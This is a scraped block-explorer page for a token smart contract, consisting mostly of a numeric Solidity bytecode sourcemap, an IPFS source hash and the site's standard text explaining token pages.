0008070033

Deployed Bytecode Sourcemap

14538:353:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7519:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10405:169;;;;;;:::i;:::-;;:::i;:::-;;;2855:14:1;;2848:22;2830:41;;2818:2;2803:18;10405:169:0;2690:187:1;8809:108:0;8897:12;;8809:108;;;7246:25:1;;;7234:2;7219:18;8809:108:0;7100:177:1;10580:418:0;;;;;;:::i;:::-;;:::i;14788:100::-;;;7454:4:1;14871:9:0;7442:17:1;7424:36;;7412:2;7397:18;14788:100:0;7282:184:1;11689:215:0;;;;;;:::i;:::-;;:::i;9235:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9336:18:0;9309:7;9336:18;;;:9;:18;;;;;;;9235:127;6400:130;;;:::i;:::-;;11520:159;;;;;;:::i;:::-;;:::i;5504:20::-;;;;;-1:-1:-1;;;;;5504:20:0;;;;;;-1:-1:-1;;;;;2623:55:1;;;2605:74;;2593:2;2578:18;5504:20:0;2459:226:1;7938:104:0;;;:::i;11910:375::-;;;;;;:::i;:::-;;:::i;9732:510::-;;;;;;:::i;:::-;;:::i;10248:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10364:18:0;;;10337:7;10364:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10248:151;8269:113;;;;;;:::i;:::-;;:::i;7519:100::-;7573:13;7606:5;7599:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7519:100;:::o;10405:169::-;10488:4;10505:39;194:10;10528:7;10537:6;10505:8;:39::i;:::-;-1:-1:-1;10562:4:0;10405:169;;;;;:::o;10580:418::-;10686:4;10703:36;10713:6;10721:9;10732:6;10703:9;:36::i;:::-;-1:-1:-1;;;;;10777:19:0;;10750:24;10777:19;;;:11;:19;;;;;;;;194:10;10777:33;;;;;;;;10829:26;;;;10821:79;;;;-1:-1:-1;;;10821:79:0;;5315:2:1;10821:79:0;;;5297:21:1;5354:2;5334:18;;;5327:30;5393:34;5373:18;;;5366:62;5464:10;5444:18;;;5437:38;5492:19;;10821:79:0;;;;;;;;;10911:57;10920:6;194:10;10942:25;10961:6;10942:16;:25;:::i;:::-;10911:8;:57::i;:::-;-1:-1:-1;10986:4:0;;10580:418;-1:-1:-1;;;;10580:418:0:o;11689:215::-;194:10;11777:4;11826:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;11826:34:0;;;;;;;;;;11777:4;;11794:80;;11817:7;;11826:47;;11863:10;;11826:47;:::i;6400:130::-;5834:10;;-1:-1:-1;;;;;5834:10:0;194;5834:26;5826:71;;;;-1:-1:-1;;;5826:71:0;;5724:2:1;5826:71:0;;;5706:21:1;;;5743:18;;;5736:30;5802:34;5782:18;;;5775:62;5854:18;;5826:71:0;5522:356:1;5826:71:0;6474:5:::1;::::0;6468:24:::1;::::0;6489:1:::1;::::0;-1:-1:-1;;;;;6474:5:0::1;::::0;6468:24:::1;::::0;6489:1;;6468:24:::1;6504:5;:18:::0;;;::::1;::::0;;6400:130::o;11520:159::-;5834:10;;-1:-1:-1;;;;;5834:10:0;194;5834:26;5826:71;;;;-1:-1:-1;;;5826:71:0;;5724:2:1;5826:71:0;;;5706:21:1;;;5743:18;;;5736:30;5802:34;5782:18;;;5775:62;5854:18;;5826:71:0;5522:356:1;5826:71:0;11596:9:::1;11591:81;11615:7;:14;11611:1;:18;11591:81;;;11651:18;11658:7;11666:1;11658:10;;;;;;;;:::i;:::-;;;;;;;11651:6;:18::i;:::-;11631:3:::0;::::1;::::0;::::1;:::i;:::-;;;;11591:81;;;;11520:159:::0;:::o;7938:104::-;7994:13;8027:7;8020:14;;;;;:::i;11910:375::-;194:10;12003:4;12047:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;12047:34:0;;;;;;;;;;12100:35;;;;12092:85;;;;-1:-1:-1;;;12092:85:0;;6896:2:1;12092:85:0;;;6878:21:1;6935:2;6915:18;;;6908:30;6974:34;6954:18;;;6947:62;7045:7;7025:18;;;7018:35;7070:19;;12092:85:0;6694:401:1;12092:85:0;12188:67;194:10;12211:7;12220:34;12239:15;12220:16;:34;:::i;12188:67::-;-1:-1:-1;12273:4:0;;11910:375;-1:-1:-1;;;11910:375:0:o;9732:510::-;9811:4;9832:10;;-1:-1:-1;;;;;9832:10:0;194;9832:26;9831:45;;;;-1:-1:-1;9864:5:0;;;;:11;;:5;:11;9831:45;9828:407;;;9878:42;194:10;9888:12;9902:9;9913:6;9878:9;:42::i;:::-;-1:-1:-1;9922:5:0;:11;;-1:-1:-1;;9922:11:0;;;;9934;;9828:407;9966:10;;-1:-1:-1;;;;;9966:10:0;194;9966:26;9965:46;;;;-1:-1:-1;9998:5:0;;;;:12;9965:46;9962:273;;;10026:12;;:24;;10043:6;10026:16;:24::i;:::-;10013:12;:37;-1:-1:-1;;;;;10072:20:0;;;;;;:9;:20;;;;;;:32;;10097:6;10072:24;:32::i;:::-;-1:-1:-1;;;;;10051:20:0;;;;;;:9;:20;;;;;;;:53;;;;10110:38;;10051:20;;10110:38;;;;10141:6;7246:25:1;;7234:2;7219:18;;7100:177;10110:38:0;;;;;;;;-1:-1:-1;10157:4:0;10150:11;;9962:273;10178:42;194:10;10188:12;114:98;10178:42;-1:-1:-1;10229:4:0;10222:11;;8269:113;5834:10;;-1:-1:-1;;;;;5834:10:0;194;5834:26;5826:71;;;;-1:-1:-1;;;5826:71:0;;5724:2:1;5826:71:0;;;5706:21:1;;;5743:18;;;5736:30;5802:34;5782:18;;;5775:62;5854:18;;5826:71:0;5522:356:1;5826:71:0;8349:6:::1;:25:::0;;;::::1;-1:-1:-1::0;;;;;8349:25:0;;;::::1;::::0;;;::::1;::::0;;8269:113::o;13823:344::-;-1:-1:-1;;;;;13925:19:0;;13917:68;;;;-1:-1:-1;;;13917:68:0;;6491:2:1;13917:68:0;;;6473:21:1;6530:2;6510:18;;;6503:30;6569:34;6549:18;;;6542:62;6640:6;6620:18;;;6613:34;6664:19;;13917:68:0;6289:400:1;13917:68:0;-1:-1:-1;;;;;14004:21:0;;13996:68;;;;-1:-1:-1;;;13996:68:0;;4149:2:1;13996:68:0;;;4131:21:1;4188:2;4168:18;;;4161:30;4227:34;4207:18;;;4200:62;4298:4;4278:18;;;4271:32;4320:19;;13996:68:0;3947:398:1;13996:68:0;-1:-1:-1;;;;;14075:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14127:32;;7246:25:1;;;14127:32:0;;7219:18:1;14127:32:0;;;;;;;13823:344;;;:::o;12291:808::-;-1:-1:-1;;;;;12397:20:0;;12389:70;;;;-1:-1:-1;;;12389:70:0;;6085:2:1;12389:70:0;;;6067:21:1;6124:2;6104:18;;;6097:30;6163:34;6143:18;;;6136:62;6234:7;6214:18;;;6207:35;6259:19;;12389:70:0;5883:401:1;12389:70:0;-1:-1:-1;;;;;12478:23:0;;12470:71;;;;-1:-1:-1;;;12470:71:0;;3745:2:1;12470:71:0;;;3727:21:1;3784:2;3764:18;;;3757:30;3823:34;3803:18;;;3796:62;3894:5;3874:18;;;3867:33;3917:19;;12470:71:0;3543:399:1;12470:71:0;12569:6;;-1:-1:-1;;;;;12556:19:0;;;12569:6;;12556:19;12552:63;;;-1:-1:-1;;;;;12596:15:0;;;;;;:7;:15;;;;;;;;12588:24;;;;;;-1:-1:-1;;;;;12649:17:0;;12625:21;12649:17;;;:9;:17;;;;;;12685:23;;;;12677:74;;;;-1:-1:-1;;;12677:74:0;;4908:2:1;12677:74:0;;;4890:21:1;4947:2;4927:18;;;4920:30;4986:34;4966:18;;;4959:62;5057:8;5037:18;;;5030:36;5083:19;;12677:74:0;4706:402:1;12677:74:0;12782:22;12798:6;12782:13;:22;:::i;:::-;-1:-1:-1;;;;;12762:17:0;;;;;;;:9;:17;;;;;;:42;;;;12815:20;;;;;;;;:30;;12839:6;;12762:17;12815:30;;12839:6;;12815:30;:::i;:::-;;;;;;;;12878:9;-1:-1:-1;;;;;12861:35:0;12870:6;-1:-1:-1;;;;;12861:35:0;;12889:6;12861:35;;;;7246:25:1;;7234:2;7219:18;;7100:177;12861:35:0;;;;;;;;12378:721;12291:808;;;:::o;11374:90::-;5834:10;;-1:-1:-1;;;;;5834:10:0;194;5834:26;5826:71;;;;-1:-1:-1;;;5826:71:0;;5724:2:1;5826:71:0;;;5706:21:1;;;5743:18;;;5736:30;5802:34;5782:18;;;5775:62;5854:18;;5826:71:0;5522:356:1;5826:71:0;-1:-1:-1;;;;;11434:15:0::1;;::::0;;;:7:::1;:15;::::0;;;;:22;;-1:-1:-1;;11434:22:0::1;11452:4;11434:22;::::0;;11374:90::o;2406:181::-;2464:7;;2496:5;2500:1;2496;:5;:::i;:::-;2484:17;;2525:1;2520;:6;;2512:46;;;;-1:-1:-1;;;2512:46:0;;4552:2:1;2512:46:0;;;4534:21:1;4591:2;4571:18;;;4564:30;4630:29;4610:18;;;4603:57;4677:18;;2512:46:0;4350:351:1;2512:46:0;2578:1;2406:181;-1:-1:-1;;;2406:181:0:o;14:196:1:-;82:20;;-1:-1:-1;;;;;131:54:1;;121:65;;111:93;;200:1;197;190:12;111:93;14:196;;;:::o;215:186::-;274:6;327:2;315:9;306:7;302:23;298:32;295:52;;;343:1;340;333:12;295:52;366:29;385:9;366:29;:::i;406:260::-;474:6;482;535:2;523:9;514:7;510:23;506:32;503:52;;;551:1;548;541:12;503:52;574:29;593:9;574:29;:::i;:::-;564:39;;622:38;656:2;645:9;641:18;622:38;:::i;:::-;612:48;;406:260;;;;;:::o;671:328::-;748:6;756;764;817:2;805:9;796:7;792:23;788:32;785:52;;;833:1;830;823:12;785:52;856:29;875:9;856:29;:::i;:::-;846:39;;904:38;938:2;927:9;923:18;904:38;:::i;:::-;894:48;;989:2;978:9;974:18;961:32;951:42;;671:328;;;;;:::o;1004:254::-;1072:6;1080;1133:2;1121:9;1112:7;1108:23;1104:32;1101:52;;;1149:1;1146;1139:12;1101:52;1172:29;1191:9;1172:29;:::i;:::-;1162:39;1248:2;1233:18;;;;1220:32;;-1:-1:-1;;;1004:254:1:o;1263:1191::-;1347:6;1378:2;1421;1409:9;1400:7;1396:23;1392:32;1389:52;;;1437:1;1434;1427:12;1389:52;1477:9;1464:23;1506:18;1547:2;1539:6;1536:14;1533:34;;;1563:1;1560;1553:12;1533:34;1601:6;1590:9;1586:22;1576:32;;1646:7;1639:4;1635:2;1631:13;1627:27;1617:55;;1668:1;1665;1658:12;1617:55;1704:2;1691:16;1726:2;1722;1719:10;1716:36;;;1732:18;;:::i;:::-;1778:2;1775:1;1771:10;1810:2;1804:9;-1:-1:-1;;1864:2:1;1860;1856:11;1852:84;1844:6;1840:97;1987:6;1975:10;1972:22;1967:2;1955:10;1952:18;1949:46;1946:72;;;1998:18;;:::i;:::-;2034:2;2027:22;2084:18;;;2118:15;;;;-1:-1:-1;2153:11:1;;;2183;;;2179:20;;2176:33;-1:-1:-1;2173:53:1;;;2222:1;2219;2212:12;2173:53;2244:1;2235:10;;2254:169;2268:2;2265:1;2262:9;2254:169;;;2325:23;2344:3;2325:23;:::i;:::-;2313:36;;2286:1;2279:9;;;;;2369:12;;;;2401;;2254:169;;;-1:-1:-1;2442:6:1;1263:1191;-1:-1:-1;;;;;;;;1263:1191:1:o;2882:656::-;2994:4;3023:2;3052;3041:9;3034:21;3084:6;3078:13;3127:6;3122:2;3111:9;3107:18;3100:34;3152:1;3162:140;3176:6;3173:1;3170:13;3162:140;;;3271:14;;;3267:23;;3261:30;3237:17;;;3256:2;3233:26;3226:66;3191:10;;3162:140;;;3320:6;3317:1;3314:13;3311:91;;;3390:1;3385:2;3376:6;3365:9;3361:22;3357:31;3350:42;3311:91;-1:-1:-1;3454:2:1;3442:15;-1:-1:-1;;3438:88:1;3423:104;;;;3529:2;3419:113;;2882:656;-1:-1:-1;;;2882:656:1:o;7471:128::-;7511:3;7542:1;7538:6;7535:1;7532:13;7529:39;;;7548:18;;:::i;:::-;-1:-1:-1;7584:9:1;;7471:128::o;7604:125::-;7644:4;7672:1;7669;7666:8;7663:34;;;7677:18;;:::i;:::-;-1:-1:-1;7714:9:1;;7604:125::o;7734:437::-;7813:1;7809:12;;;;7856;;;7877:61;;7931:4;7923:6;7919:17;7909:27;;7877:61;7984:2;7976:6;7973:14;7953:18;7950:38;7947:218;;;-1:-1:-1;;;8018:1:1;8011:88;8122:4;8119:1;8112:15;8150:4;8147:1;8140:15;7947:218;;7734:437;;;:::o;8176:195::-;8215:3;8246:66;8239:5;8236:77;8233:103;;;8316:18;;:::i;:::-;-1:-1:-1;8363:1:1;8352:13;;8176:195::o;8376:184::-;-1:-1:-1;;;8425:1:1;8418:88;8525:4;8522:1;8515:15;8549:4;8546:1;8539:15;8565:184;-1:-1:-1;;;8614:1:1;8607:88;8714:4;8711:1;8704:15;8738:4;8735:1;8728:15;8754:184;-1:-1:-1;;;8803:1:1;8796:88;8903:4;8900:1;8893:15;8927:4;8924:1;8917:15

Swarm Source

ipfs://04c0b28a85715bdd82eeda140bc457e7bb337cf8e29e406a69d1895c020457c8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.